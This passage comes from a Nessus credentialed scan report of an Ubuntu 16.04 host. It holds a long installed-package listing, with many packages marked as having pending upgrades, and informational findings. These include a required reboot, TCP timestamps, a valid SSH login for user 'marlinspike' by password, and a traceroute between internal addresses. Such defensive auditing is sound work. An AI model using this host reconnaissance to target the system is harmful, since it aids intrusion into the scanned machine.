iU python3-lxml 3.5.0-1ubuntu0.4 amd64 pythonic binding for the libxml2 and libxslt libraries
ii python3-mako 1.0.3+ds1-1ubuntu1 all fast and lightweight templating for the Python 3 platform
ii python3-markupsafe 0.23-2build2 amd64 HTML/XHTML/XML string library for Python 3
ii python3-minimal 3.5.1-3 amd64 minimal subset of the Python language (default python3 version)
ii python3-oauthlib 1.0.3-1 all generic, spec-compliant implementation of OAuth for Python3
ii python3-padme 1.1.1-2 all mostly transparent proxy class for Python 3
ii python3-pexpect 4.0.1-1 all Python 3 module for automating interactive applications
iU python3-pil 3.1.2-0ubuntu1.6 amd64 Python Imaging Library (Python3)
ii python3-pkg-resources 20.7.0-1 all Package Discovery and Resource Access using pkg_resources
ii python3-plainbox 0.25-1 all toolkit for software and hardware testing (python3 module)
iU python3-problem-report 2.20.1-0ubuntu2.30+esm7 all Python 3 library to handle problem reports
ii python3-ptyprocess 0.5-1 all Run a subprocess in a pseudo terminal from Python 3
ii python3-pyasn1 0.1.9-1 all ASN.1 library for Python (Python 3 module)
ii python3-pyatspi 2.18.0+dfsg-3 all Assistive Technology Service Provider Interface - Python3 bindings
ii python3-pycurl 7.43.0-1ubuntu1 amd64 Python bindings to libcurl (Python 3)
iU python3-pyparsing 2.0.3+dfsg1-1ubuntu0.2 all Python parsing module, Python3 package
iU python3-renderpm 3.3.0-1ubuntu0.1 amd64 python low level render interface
iU python3-reportlab 3.3.0-1ubuntu0.1 all ReportLab library to create PDF documents using Python3
iU python3-reportlab-accel 3.3.0-1ubuntu0.1 amd64 C coded extension accelerator for the ReportLab Toolkit
iU python3-requests 2.9.1-3ubuntu0.1 all elegant and simple HTTP library for Python3, built for human beings
ii python3-six 1.10.0-3 all Python 2 and 3 compatibility library (Python 3 interface)
iU python3-software-properties 0.96.20.10 all manage the repositories that you install software from
ii python3-speechd 0.8.3-1ubuntu3 all Python interface to Speech Dispatcher
ii python3-systemd 231-2build1 amd64 Python 3 bindings for systemd
iU python3-uno 1:5.1.6~rc2-0ubuntu1~xenial10 amd64 Python-UNO bridge
iU python3-update-manager 1:16.04.12 all python 3.x module for update-manager
iU python3-urllib3 1.13.1-2ubuntu0.16.04.4 all HTTP library with thread-safe connection pooling for Python3
iU python3-xdg 0.25-4ubuntu0.16.04.1 all Python 3 library to access freedesktop.org standards
ii python3-xkit 0.5.0ubuntu2 all library for the manipulation of xorg.conf files (Python 3)
ii python3-xlsxwriter 0.7.3-1 all Python 3 module for creating Excel XLSX files
iU python3.5 3.5.2-2ubuntu0~16.04.13 amd64 Interactive high-level object-oriented language (version 3.5)
iU python3.5-minimal 3.5.2-2ubuntu0~16.04.13 amd64 Minimal subset of the Python language (version 3.5)
ii qdbus 4:4.8.7+dfsg-5ubuntu2 amd64 Qt 4 D-Bus tool
ii qml-module-io-thp-pyotherside 1.4.0-2 amd64 asynchronous Python 3 Bindings for Qt 5 (QML plugin)
ii qml-module-qt-labs-folderlistmodel 5.5.1-2ubuntu6 amd64 Qt 5 folderlistmodel QML module
ii qml-module-qt-labs-settings 5.5.1-2ubuntu6 amd64 Qt 5 settings QML module
ii qml-module-qtfeedback 5.0~git20130529-0ubuntu13 amd64 Qt 5 Feedback QML module
ii qml-module-qtgraphicaleffects 5.5.1-1ubuntu1 amd64 Qt 5 Graphical Effects module
ii qml-module-qtquick-layouts 5.5.1-1ubuntu1 amd64 Qt 5 Quick Layouts QML module
ii qml-module-qtquick-window2 5.5.1-2ubuntu6 amd64 Qt 5 window 2 QML module
ii qml-module-qtquick2 5.5.1-2ubuntu6 amd64 Qt 5 Qt Quick 2 QML module
ii qml-module-qttest 5.5.1-2ubuntu6 amd64 Qt 5 test QML module
ii qml-module-ubuntu-components 1.3.1918+16.04.20160404-0ubuntu1 amd64 Qt Components for Ubuntu - Components QML plugin
ii qml-module-ubuntu-layouts 1.3.1918+16.04.20160404-0ubuntu1 amd64 Qt Components for Ubuntu - Layouts QML plugin
ii qml-module-ubuntu-onlineaccounts 0.6+16.04.20151106-0ubuntu1 amd64 Expose the Online Accounts API to QML applications
ii qml-module-ubuntu-performancemetrics 1.3.1918+16.04.20160404-0ubuntu1 amd64 Qt Components for Ubuntu - PerformanceMetrics QML
plugin
ii qml-module-ubuntu-test 1.3.1918+16.04.20160404-0ubuntu1 amd64 Qt Components for Ubuntu - Test QML plugin
ii qml-module-ubuntu-web 0.23+16.04.20161028-0ubuntu2 amd64 Ubuntu web QML module
ii qmlscene 5.5.1-2ubuntu6 amd64 Qt 5 QML scene viewer
iU qpdf 8.0.2-3~16.04.1 amd64 tools for transforming and inspecting PDF files
ii qt-at-spi 0.4.0-3 amd64 at-spi accessibility plugin for Qt
ii qtchooser 52-gae5eeef-2build1~gcc5.2 amd64 Wrapper to select between Qt development binary versions
ii qtcore4-l10n 4:4.8.7+dfsg-5ubuntu2 all Qt 4 core module translations
ii qtdeclarative5-accounts-plugin 0.6+16.04.20151106-0ubuntu1 amd64 transitional dummy package for Online Accounts QML clients
ii qtdeclarative5-dev-tools 5.5.1-2ubuntu6 amd64 Qt 5 declarative development programs
ii qtdeclarative5-qtquick2-plugin 5.5.1-2ubuntu6 amd64 transitional dummy package Qt 5 Qt Quick 2 QML module
ii qtdeclarative5-test-plugin 5.5.1-2ubuntu6 amd64 transitional dummy package for Qt 5 test QML module
ii qtdeclarative5-ubuntu-ui-toolkit-plugin 1.3.1918+16.04.20160404-0ubuntu1 amd64 Transitional dummy package for Ubuntu UI Toolkit
QML plugin
ii qtdeclarative5-unity-action-plugin 1.1.0+14.04.20140304-0ubuntu2~gcc5.1 amd64 Unity Action QML Components
ii qttranslations5-l10n 5.5.1-2build1 all translations for Qt 5
ii readline-common 6.3-8ubuntu2 all GNU readline and history libraries, common files
ii remmina 1.1.2-3ubuntu1 amd64 remote desktop client for GNOME desktop environment
```

```
ii remmina-common 1.1.2-3ubuntu1 all common files for remmina remote desktop client
ii remmina-plugin-rdp 1.1.2-3ubuntu1 amd64 RDP plugin for remmina remote desktop client
ii remmina-plugin-vnc 1.1.2-3ubuntu1 amd64 VNC plugin for remmina remote desktop client
ii rename 0.20-4 all Perl extension for renaming multiple files
ii resolvconf 1.78ubuntu5 all name server information handler
ii rfkill 0.5-1ubuntu3 amd64 tool for enabling and disabling wireless devices
ii rhythmbox 3.3-1ubuntu7 amd64 music player and organizer for GNOME
ii rhythmbox-data 3.3-1ubuntu7 all data files for rhythmbox
ii rhythmbox-plugin-zeitgeist 3.3-1ubuntu7 all zeitgeist plugin for rhythmbox music player
ii rhythmbox-plugins 3.3-1ubuntu7 amd64 plugins for rhythmbox music player
iU rsync 3.1.1-3ubuntu1.3 amd64 fast, versatile, remote (and local) file-copying tool
ii rsyslog 8.16.0-1ubuntu3 amd64 reliable system and kernel logging daemon
ii rtkit 0.11-4 amd64 Realtime Policy and Watchdog Daemon
iU samba-libs 2:4.3.11+dfsg-0ubuntu0.16.04.34 amd64 Samba core libraries
iU sane-utils 1.0.25+git20150528-1ubuntu2.16.04.3 amd64 API library for scanners -- utilities
iU sbsigntool 0.6-0ubuntu10.2 amd64 utility for signing and verifying files for UEFI Secure Boot
ii seahorse 3.18.0-2ubuntu1 amd64 GNOME front end for GnuPG
ii secureboot-db 1.1 amd64 Secure Boot updates for DB and DBX
ii sed 4.2.2-7 amd64 The GNU sed stream editor
ii sensible-utils 0.0.9ubuntu0.16.04.1 all Utilities for sensible alternative selection
ii session-migration 0.2.3 amd64 Tool to migrate in user session settings
ii session-shortcuts 1.2ubuntu0.16.04.1 all Allows you to shutdown, logout, and reboot from dash
ii sessioninstaller 0.20+bzr150-0ubuntu4.1 all APT based installer using PackageKit's session DBus API
ii sgml-base 1.26+nmu4ubuntu1 all SGML infrastructure and SGML catalog file support
it shared-mime-info 1.5-2ubuntu0.1 amd64 FreeDesktop.org shared MIME database and spec
ii shotwell 0.22.0+git20160108.r1.f2fb1f7-0ubuntu1.1 amd64 digital photo organizer
ii shotwell-common 0.22.0+git20160108.r1.f2fb1f7-0ubuntu1.1 all digital photo organizer - common files
ii signon-keyring-extension 0.6+14.10.20140513-0ubuntu2 amd64 GNOME keyring extension for signond
ii signon-plugin-oauth2 0.23+16.04.20151209-0ubuntu1 amd64 Single Signon oauth2 plugin
ii signon-plugin-password 8.58+16.04.20151106-0ubuntu1 amd64 Plain Password plugin for Single Sign On
ii signon-ui 0.17+16.04.20151125-0ubuntu1 all Dummy transitional package for signon-ui
ii signon-ui-service 0.17+16.04.20151125-0ubuntu1 all D-Bus service file for signon-ui
ii signon-ui-x11 0.17+16.04.20151125-0ubuntu1 amd64 Single Sign-on UI
ii signond 8.58+16.04.20151106-0ubuntu1 amd64 Single Sign On framework
ii simple-scan 3.20.0-0ubuntu1 amd64 Simple Scanning Utility
iU snapd 2.48.3 amd64 Daemon and tooling that enable snap packages
ii snapd-login-service 1.13-0ubuntu0.16.04.1 amd64 Daemon to allow non-root access to snapd
ii sni-qt 0.2.7+16.04.20170217.1-0ubuntu1 amd64 indicator support for Qt
iU software-properties-common 0.96.20.10 all manage the repositories that you install software from (common)
iU software-properties-gtk 0.96.20.10 all manage the repositories that you install software from (gtk)
ii sound-theme-freedesktop 0.8-1 all freedesktop.org sound theme
ii speech-dispatcher 0.8.3-1ubuntu3 amd64 Common interface to speech synthesizers
ii speech-dispatcher-audio-plugins 0.8.3-1ubuntu3 amd64 Speech Dispatcher: Audio output plugins
ii squashfs-tools 1:4.3-3ubuntu2 amd64 Tool to create and append to squashfs filesystems
ii ssh-import-id 5.5-0ubuntu1 all securely retrieve an SSH public key and install it locally
ii ssl-cert 1.0.37 all simple debconf wrapper for OpenSSL
ii strace 4.11-1ubuntu3 amd64 System call tracer
iU sudo 1.8.16-0ubuntu1.10 amd64 Provide limited super user privileges to specific users
ii suru-icon-theme 14.04+16.04.20161024-0ubuntu1 all Ubuntu Suru Icon theme
ii syslinux 3:6.03+dfsg-11ubuntu1 amd64 collection of bootloaders (DOS FAT and NTFS bootloader)
ii syslinux-common 3:6.03+dfsg-11ubuntu1 all collection of bootloaders (common)
ii syslinux-legacy 2:3.63+dfsg-2ubuntu8 amd64 Bootloader for Linux/i386 using MS-DOS floppies
ii system-config-printer-common 1.5.7+20160212-0ubuntu2 all Printer configuration GUI
ii system-config-printer-gnome 1.5.7+20160212-0ubuntu2 all Printer configuration GUI
ii system-config-printer-udev 1.5.7+20160212-0ubuntu2 amd64 Printer auto-configuration facility based on udev
it systemd 229-4ubuntu21.27 amd64 system and service manager
ii systemd-sysv 229-4ubuntu21.27 amd64 system and service manager - SysV links
ii sysv-rc 2.88dsf-59.3ubuntu2 all System-V-like runlevel change mechanism
ii sysvinit-utils 2.88dsf-59.3ubuntu2 amd64 System-V-like utilities
ii t1utils 1.39-2 amd64 Collection of simple Type 1 font manipulation programs
ii tar 1.28-2.1ubuntu0.2 amd64 GNU version of the tar archiving utility
ii tcl 8.6.0+9 amd64 Tool Command Language (default version) - shell
ii tcl8.6 8.6.5+dfsg-2 amd64 Tcl (the Tool Command Language) v8.6 - shell
ii tcpd 7.6.q-25 amd64 Wietse Venema's TCP wrapper utilities
iU tcpdump 4.9.3-0ubuntu0.16.04.1 amd64 command-line network traffic analyzer
ii telnet 0.17-40 amd64 basic telnet client
ii thermald 1.5-2ubuntu4 amd64 Thermal monitoring and controlling daemon
iU thunderbird 1:68.10.0+build1-0ubuntu0.16.04.1 amd64 Email, RSS and newsgroup client with integrated spam filter
iU thunderbird-gnome-support 1:68.10.0+build1-0ubuntu0.16.04.1 amd64 Email, RSS and newsgroup client - GNOME support
iU thunderbird-locale-en 1:68.10.0+build1-0ubuntu0.16.04.1 amd64 English language pack for Thunderbird
iU thunderbird-locale-en-us 1:68.10.0+build1-0ubuntu0.16.04.1 all Transitional English language pack for Thunderbird
ii time 1.7-25.1 amd64 GNU time program for measuring CPU resource usage
ii tk 8.6.0+9 amd64 Toolkit for Tcl and X11 (default version) - windowing shell
ii tk8.6 8.6.5-1 amd64 Tk toolkit for Tcl and X11 v8.6 - windowing shell
ii toshset 1.76-4 amd64 Access much of the Toshiba laptop hardware interface
ii totem 3.18.1-1ubuntu4 amd64 Simple media player for the GNOME desktop based on GStreamer
ii totem-common 3.18.1-1ubuntu4 all Data files for the Totem media player
ii totem-plugins 3.18.1-1ubuntu4 amd64 Plugins for the Totem media player
iU transmission-common 2.84-3ubuntu3.1 all lightweight BitTorrent client (common files)
iU transmission-gtk 2.84-3ubuntu3.1 amd64 lightweight BitTorrent client (GTK+ interface)
ii ttf-ancient-fonts-symbola 2.59-1 all symbolic font providing emoji characters from Unicode 7.0 (transitional package)
ii ttf-ubuntu-font-family 1:0.83-0ubuntu2 all Ubuntu Font Family, sans-serif typeface hinted for clarity
iU tzdata 2021a-0ubuntu0.16.04 all time zone and daylight-saving time data
ii ubuntu-artwork 1:14.04+16.04.20161024-0ubuntu1 all Ubuntu themes and artwork
iU ubuntu-core-launcher 2.48.3 amd64 Transitional package for snapd
ii ubuntu-desktop 1.361.1 amd64 The Ubuntu desktop system
ii ubuntu-docs 16.04.4 all Ubuntu Desktop Guide
iU ubuntu-drivers-common 1:0.4.17.7 amd64 Detect and install additional Ubuntu driver packages
ii ubuntu-keyring 2012.05.19 all GnuPG keys of the Ubuntu archive
ii ubuntu-minimal 1.361.1 amd64 Minimal core of Ubuntu
ii ubuntu-mobile-icons 14.04+16.04.20161024-0ubuntu1 all Ubuntu Mobile Icon theme
ii ubuntu-mono 14.04+16.04.20161024-0ubuntu1 all Ubuntu Mono Icon theme
iU ubuntu-release-upgrader-core 1:16.04.25 all manage release upgrades
iU ubuntu-release-upgrader-gtk 1:16.04.25 all manage release upgrades
ii ubuntu-session 3.18.1.2-1ubuntu1.16.04.2 all Ubuntu session
ii ubuntu-settings 15.10.8 all default settings for the Ubuntu desktop
ii ubuntu-software 3.20.5-0ubuntu0.16.04.6 amd64 Utility for browsing, installing, and removing software
ii ubuntu-sounds 0.13 all Ubuntu's GNOME audio theme
ii ubuntu-standard 1.361.1 amd64 The Ubuntu standard system
```

```
ii ubuntu-system-service 0.3 all Dbus service to set various system-wide configurations
ii ubuntu-touch-sounds 15.08 all sounds for the Ubuntu Touch image
ii ubuntu-ui-toolkit-theme 1.3.1918+16.04.20160404-0ubuntu1 amd64 Qt Components for Ubuntu - Ubuntu Theme
ii ubuntu-wallpapers 16.04.1-0ubuntu1 all Ubuntu Wallpapers
ii ubuntu-wallpapers-xenial 16.04.1-0ubuntu1 all Ubuntu 16.04 Wallpapers
ii ucf 3.0036 all Update Configuration File(s): preserve user changes to config files
iU udev 229-4ubuntu21.27 amd64 /dev/ and hotplug management daemon
ii udisks2 2.1.7-1ubuntu1 amd64 D-Bus service to access and manipulate storage devices
ii ufw 0.35-0ubuntu2 all program for managing a Netfilter firewall
iFR unattended-upgrades 0.90ubuntu0.8 all automatic installation of security upgrades
ii unity 7.4.0+16.04.20160906-0ubuntu1 amd64 Interface designed for efficiency of space and interaction.
ii unity-accessibility-profiles 0.1.10-0ubuntu3 all Accessibility Profile Manager - Unity profile data
ii unity-asset-pool 0.8.24+15.04.20141217-0ubuntu2 all Unity Assets Pool
ii unity-control-center 15.04.0+16.04.20170214-0ubuntu1 amd64 utilities to configure the GNOME desktop
ii unity-control-center-faces 15.04.0+16.04.20170214-0ubuntu1 all utilities to configure the GNOME desktop - faces images
ii unity-control-center-signon 0.1.8+16.04.20160201-0ubuntu1 amd64 Unity Control Center extension for single signon
ii unity-greeter 16.04.2-0ubuntu1 amd64 Unity Greeter
ii unity-gtk-module-common 0.0.0+15.04.20150118-0ubuntu2 all Common files for GtkMenuShell D-Bus exporter
ii unity-gtk2-module 0.0.0+15.04.20150118-0ubuntu2 amd64 GtkMenuShell D-Bus exporter
ii unity-gtk3-module 0.0.0+15.04.20150118-0ubuntu2 amd64 GtkMenuShell D-Bus exporter
ii unity-lens-applications 7.1.0+16.04.20160701-0ubuntu1 amd64 Application lens for unity
ii unity-lens-files 7.1.0+16.04.20151217-0ubuntu1 amd64 File lens for unity
ii unity-lens-music 6.9.1+16.04-0ubuntu1 amd64 Music lens for unity
ii unity-lens-photos 1.0+14.04.20140318-0ubuntu1 all Photos lens for Unity
ii unity-lens-video 0.3.15+16.04.20160212.1-0ubuntu1 amd64 Unity Video lens
ii unity-schemas 7.4.0+16.04.20160906-0ubuntu1 all Interface designed for efficiency of space and interaction.
ii unity-scope-calculator 0.1+14.04.20140328-0ubuntu1 all Calculator scope for Unity
ii unity-scope-chromiumbookmarks 0.1+13.10.20130723-0ubuntu1 all Chromium bookmarks scope for Unity
ii unity-scope-colourlovers 0.1+13.10.20130723-0ubuntu1 all COLOURlovers scope for Unity
ii unity-scope-devhelp 0.1+14.04.20140328-0ubuntu1 all devhelp scope for Unity
ii unity-scope-firefoxbookmarks 0.1+13.10.20130809.1-0ubuntu1 all Firefox bookmarks scope for Unity
ii unity-scope-gdrive 0.9+16.04.20151125-0ubuntu1 all Google Drive scope for Unity
ii unity-scope-home 6.8.2+16.04.20160212.1-0ubuntu1 amd64 Home scope that aggregates results from multiple scopes
ii unity-scope-manpages 3.0+14.04.20140324-0ubuntu1 all Manual pages scope for Unity
ii unity-scope-openclipart 0.1+13.10.20130723-0ubuntu1 all OpenClipArt scope for Unity
ii unity-scope-texdoc 0.1+14.04.20140328-0ubuntu1 all Texdoc scope for Unity
ii unity-scope-tomboy 0.1+13.10.20130723-0ubuntu1 all Tomboy scope for Unity
ii unity-scope-video-remote 0.3.15+16.04.20160212.1-0ubuntu1 amd64 Remote videos engine
ii unity-scope-virtualbox 0.1+13.10.20130723-0ubuntu1 all VirtualBox scope for Unity
ii unity-scope-yelp 0.1+13.10.20130723-0ubuntu1 all Help scope for Unity
ii unity-scope-zotero 0.1+13.10.20130723-0ubuntu1 all Zotero scope for Unity
ii unity-scopes-master-default 6.8.2+16.04.20160212.1-0ubuntu1 all Home scope that aggregates results from multiple scopes
ii unity-scopes-runner 7.1.4+16.04.20160701-0ubuntu1 all desktop runner for miscellenous scopes
ii unity-services 7.4.0+16.04.20160906-0ubuntu1 amd64 Services for the Unity interface
ii unity-settings-daemon 15.04.1+16.04.20160701-0ubuntu1 amd64 daemon handling the Unity session settings
ii unity-webapps-common 2.4.17+15.10.20150616-0ubuntu2 all Unity WebApp integration scripts
ii unity-webapps-qml 0.1+16.04.20160114-0ubuntu1 amd64 Unity Webapps QML component
ii unity-webapps-service 2.5.0~+16.04.20160201-0ubuntu1 amd64 Service for Web Apps integration with the Unity desktop
iU uno-libs3 5.1.6~rc2-0ubuntu1~xenial10 amd64 LibreOffice UNO runtime environment -- public shared libraries
iU unzip 6.0-20ubuntu1.1 amd64 De-archiver for .zip files
ii update-inetd 4.43 all inetd configuration file updater
iU update-manager 1:16.04.12 all GNOME application that manages apt updates
iU update-manager-core 1:16.04.12 all manage release upgrades
iU update-notifier 3.168.7 amd64 Daemon which notifies about package updates
iU update-notifier-common 3.168.7 all Files shared between update-notifier and other packages
ii upower 0.99.4-2ubuntu0.3 amd64 abstraction for power management
ii upstart 1.13.2-0ubuntu21.1 amd64 event-based init daemon - essential binaries
iU ure 5.1.6~rc2-0ubuntu1~xenial10 amd64 LibreOffice UNO runtime environment
it ureadahead 0.100.0-19 amd64 Read required files in advance
ii usb-creator-common 0.3.2 amd64 create a startup disk using a CD or disc image (common files)
ii usb-creator-gtk 0.3.2 amd64 create a startup disk using a CD or disc image (for GNOME)
ii usb-modeswitch 2.2.5+repack0-1ubuntu1 amd64 mode switching tool for controlling "flip flop" USB devices
ii usb-modeswitch-data 20151101-1 all mode switching data for usb-modeswitch
ii usbmuxd 1.1.0-2 amd64 USB multiplexor daemon for iPhone and iPod Touch devices
ii usbutils 1:007-4 amd64 Linux USB utilities
ii util-linux 2.27.1-6ubuntu3.3 amd64 miscellaneous system utilities
ii uuid-runtime 2.27.1-6ubuntu3.3 amd64 runtime components for the Universally Unique ID library
ii vbetool 1.1-3 amd64 run real-mode video BIOS code to alter hardware state
iU vim-common 2:7.4.1689-3ubuntu1.5 amd64 Vi IMproved - Common files
iU vim-tiny 2:7.4.1689-3ubuntu1.5 amd64 Vi IMproved - enhanced vi editor - compact version
ii vino 3.8.1-0ubuntu9.2 amd64 VNC server for GNOME
ii wamerican 7.1-1 all American English dictionary words for /usr/share/dict
ii wbritish 7.1-1 all British English dictionary words for /usr/share/dict
ii webapp-container 0.23+16.04.20161028-0ubuntu2 amd64 Ubuntu web applications container
ii webbrowser-app 0.23+16.04.20161028-0ubuntu2 amd64 Ubuntu web browser
iU wget 1.17.1-1ubuntu1.5 amd64 retrieves files from the web
ii whiptail 0.52.18-1ubuntu2 amd64 Displays user-friendly dialog boxes from shell scripts
iU whoopsie 0.2.52.5ubuntu0.5 amd64 Ubuntu error tracker submission
ii whoopsie-preferences 0.18 amd64 System preferences for error reporting
ii wireless-regdb 2015.07.20-1ubuntu1 all wireless regulatory database
ii wireless-tools 30~pre9-8ubuntu1 amd64 Tools for manipulating Linux Wireless Extensions
iU wpasupplicant 2.4-0ubuntu6.8+esm1 amd64 client support for WPA and WPA2 (IEEE 802.11i)
ii x11-apps 7.7+5+nmu1ubuntu1 amd64 X applications
ii x11-common 1:7.7+13ubuntu3 all X Window System (X.Org) infrastructure
ii x11-session-utils 7.7+2 amd64 X session utilities
ii x11-utils 7.7+3 amd64 X11 utilities
ii x11-xkb-utils 7.7+2 amd64 X11 XKB utilities
ii x11-xserver-utils 7.7+7 amd64 X server utilities
ii xauth 1:1.0.9-1ubuntu2 amd64 X authentication utility
ii xbitmaps 1.1.1-2 all Base X bitmaps
ii xbrlapi 5.3.1-2ubuntu2.1 amd64 Access software for a blind person using a braille display - xbrlapi
ii xcursor-themes 1.0.4-1 all Base X cursor themes
ii xdg-user-dirs 0.15-2ubuntu6 amd64 tool to manage well known user directories
ii xdg-user-dirs-gtk 0.10-1ubuntu1 amd64 tool to manage well known user directories (Gtk extension)
ii xdg-utils 1.1.1-1ubuntu1.16.04.1 all desktop integration utilities from freedesktop.org
ii xdiagnose 3.8.4.1 all X.org diagnosis tool
ii xfonts-base 1:1.0.4+nmu1 all standard fonts for X
ii xfonts-encodings 1:1.0.4-2 all Encodings for X.Org fonts
ii xfonts-scalable 1:1.0.3-1.1 all scalable fonts for X
```

```
ii xfonts-utils 1:7.7+3ubuntu0.16.04.2 amd64 X Window System font utility programs
ii xinit 1.3.4-3ubuntu0.1 amd64 X server initialisation tool
ii xinput 1.6.2-1 amd64 Runtime configuration and test of XInput devices
ii xkb-data 2.16-1ubuntu1 all X Keyboard Extension (XKB) configuration data
ii xml-core 0.13+nmu2 all XML infrastructure and XML catalog file support
ii xorg 1:7.7+13ubuntu3 amd64 X.Org X Window System
ii xorg-docs-core 1:1.7.1-1ubuntu1 all Core documentation for the X.org X Window System
iU xserver-common 2:1.18.4-0ubuntu0.12 all common files used by various X servers
iU xserver-xorg-core-hwe-16.04 2:1.19.6-1ubuntu4.1~16.04.6 amd64 Xorg X server - core server
ii xserver-xorg-hwe-16.04 1:7.7+16ubuntu3~16.04.1 amd64 X.Org X server
ii xserver-xorg-input-all-hwe-16.04 1:7.7+16ubuntu3~16.04.1 amd64 X.Org X server -- input driver metapackage
ii xserver-xorg-input-evdev-hwe-16.04 1:2.10.5-1ubuntu1~16.04.1 amd64 X.Org X server -- evdev input driver
ii xserver-xorg-input-synaptics-hwe-16.04 1.9.0-1ubuntu1~16.04.1 amd64 Synaptics TouchPad driver for X.Org server
ii xserver-xorg-input-wacom-hwe-16.04 1:0.34.0-0ubuntu2~16.04.1 amd64 X.Org X server -- Wacom input driver
iU xserver-xorg-legacy-hwe-16.04 2:1.19.6-1ubuntu4.1~16.04.6 amd64 setuid root Xorg server wrapper
ii xserver-xorg-video-all-hwe-16.04 1:7.7+16ubuntu3~16.04.1 amd64 X.Org X server -- output driver metapackage
ii xserver-xorg-video-amdgpu-hwe-16.04 1.3.0-0ubuntu1~16.04.1 amd64 X.Org X server -- AMDGPU display driver
ii xserver-xorg-video-ati-hwe-16.04 1:7.9.0-0ubuntu1~16.04.1 amd64 X.Org X server -- AMD/ATI display driver wrapper
ii xserver-xorg-video-fbdev-hwe-16.04 1:0.4.4-1build6~16.04.1 amd64 X.Org X server -- fbdev display driver
ii xserver-xorg-video-intel-hwe-16.04 2:2.99.917+git20170309-0ubuntu1~16.04.1 amd64 X.Org X server -- Intel i8xx, i9xx display
driver
ii xserver-xorg-video-nouveau-hwe-16.04 1:1.0.14-0ubuntu1~16.04.1 amd64 X.Org X server -- Nouveau display driver
ii xserver-xorg-video-qxl-hwe-16.04 0.1.5-2build1~16.04.1 amd64 X.Org X server -- QXL display driver
ii xserver-xorg-video-radeon-hwe-16.04 1:7.9.0-0ubuntu1~16.04.1 amd64 X.Org X server -- AMD/ATI Radeon display driver
ii xserver-xorg-video-vesa-hwe-16.04 1:2.3.4-1build3~16.04.1 amd64 X.Org X server -- VESA display driver
ii xserver-xorg-video-vmware-hwe-16.04 1:13.2.1-1build1~16.04.1 amd64 X.Org X server -- VMware display driver
iU xterm 322-1ubuntu1.2 amd64 X terminal emulator
ii xul-ext-ubufox 3.4-0ubuntu0.16.04.1 all Ubuntu modifications for Firefox
ii xz-utils 5.1.1alpha+20120614-2ubuntu2 amd64 XZ-format compression utilities
ii yelp 3.18.1-1ubuntu4 amd64 Help browser for GNOME
ii yelp-xsl 3.18.1-1 all XSL stylesheets for the yelp help browser
ii zeitgeist-core 0.9.16-0ubuntu4 amd64 event logging framework - engine
ii zeitgeist-datahub 0.9.16-0ubuntu4 amd64 event logging framework - passive logging daemon
ii zenity 3.18.1.1-1ubuntu2 amd64 Display graphical dialog boxes from shell scripts
ii zenity-common 3.18.1.1-1ubuntu2 all Display graphical dialog boxes from shell scripts (common files)
ii zip 3.0-11 amd64 Archiver for .zip files
ii zlib1g 1:1.2.8.dfsg-2ubuntu4.3 amd64 compression library - runtime
```

163103 - System Restart Required

Synopsis

The remote system has updates installed which require a reboot.

Description

Using the supplied credentials, Nessus was able to determine that the remote system has updates applied that require a reboot to take effect. Nessus has determined that the system has not been rebooted since these updates have been applied, and thus should be rebooted.

See Also

http://www.nessus.org/u?9e9ce1c1
http://www.nessus.org/u?fd8caec2

Solution

Restart the target system to ensure the updates are applied.

Risk Factor

None

Plugin Information

Published: 2022/07/14, Modified: 2024/09/23

Plugin Output

tcp/0

```
The following security patches require a reboot but have been installed since the most recent system boot:

The reboot required flag is set :

*** System restart required ***

The following packages require a reboot :

libc6
dbus
libssl1.0.0
```

25220 - TCP/IP Timestamps Supported -

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

http://www.ietf.org/rfc/rfc1323.txt

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2023/10/17

Plugin Output

tcp/0

110385 - Target Credential Issues by Authentication Protocol - Insufficient Privilege -

Synopsis

Nessus was able to log in to the remote host using the provided credentials. The provided credentials were not sufficient to complete all requested checks.

Description

Nessus was able to execute credentialed checks because it was possible to log in to the remote host using provided credentials, however the credentials were not sufficiently privileged to complete all requested checks.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0502

Plugin Information

Published: 2018/06/06, Modified: 2024/03/25

Plugin Output

tcp/22/ssh

```
Nessus was able to log into the remote host, however this credential
did not have sufficient privileges for all planned checks :

User: 'marlinspike'
Port: 22
Proto: SSH
Method: password


See the output of the following plugin for details :

Plugin ID : 102094
Plugin Name : SSH Commands Require Privilege Escalation
```

141118 - Target Credential Status by Authentication Protocol - Valid Credentials Provided -

Synopsis

Valid credentials were provided for an available authentication protocol.

Description

Nessus was able to determine that valid credentials were provided for an authentication protocol available on the remote target because it was able to successfully authenticate directly to the remote target using that authentication protocol at least once. Authentication was successful because the authentication protocol service was available remotely, the service was able to be identified, the authentication protocol was able to be negotiated successfully, and a set of credentials provided in the scan policy for that authentication protocol was accepted by the remote service. See plugin output for details, including protocol, port, and account.

Please note the following :

- This plugin reports per protocol, so it is possible for valid credentials to be provided for one protocol and not another. For example, authentication may succeed via SSH but fail via SMB, while no credentials were provided for an available SNMP service.

- Providing valid credentials for all available authentication protocols may improve scan coverage, but the value of successful authentication for a given protocol may vary from target to target depending upon what data (if any) is gathered from the target via that protocol. For example, successful authentication via SSH is more valuable for Linux targets than for Windows targets, and likewise successful authentication via SMB is more valuable for Windows targets than for Linux targets.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/10/15, Modified: 2024/03/25

Plugin Output

tcp/22/ssh

```
Nessus was able to log in to the remote host via the following :

User: 'marlinspike'
Port: 22
Proto: SSH
Method: password
```

56468 - Time of Last System Startup -

Synopsis

The system has been started.

Description

Using the supplied credentials, Nessus was able to determine when the host was last started.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/10/12, Modified: 2018/06/19

Plugin Output

tcp/0

```
The host has not yet been rebooted.
```

10287 - Traceroute Information -

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2023/12/04

Plugin Output

udp/0

```
For your information, here is the traceroute from 192.168.1.12 to 192.168.1.2 :
192.168.1.12
192.168.1.2

Hop Count: 1
```

192709 - Tukaani XZ Utils Installed (Linux / Unix)

Synopsis

Tukaani XZ Utils is installed on the remote Linux / Unix host.

Description

Tukaani XZ Utils is installed on the remote Linux / Unix host.

XZ Utils consists of several components, including:
- liblzma
- xz

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

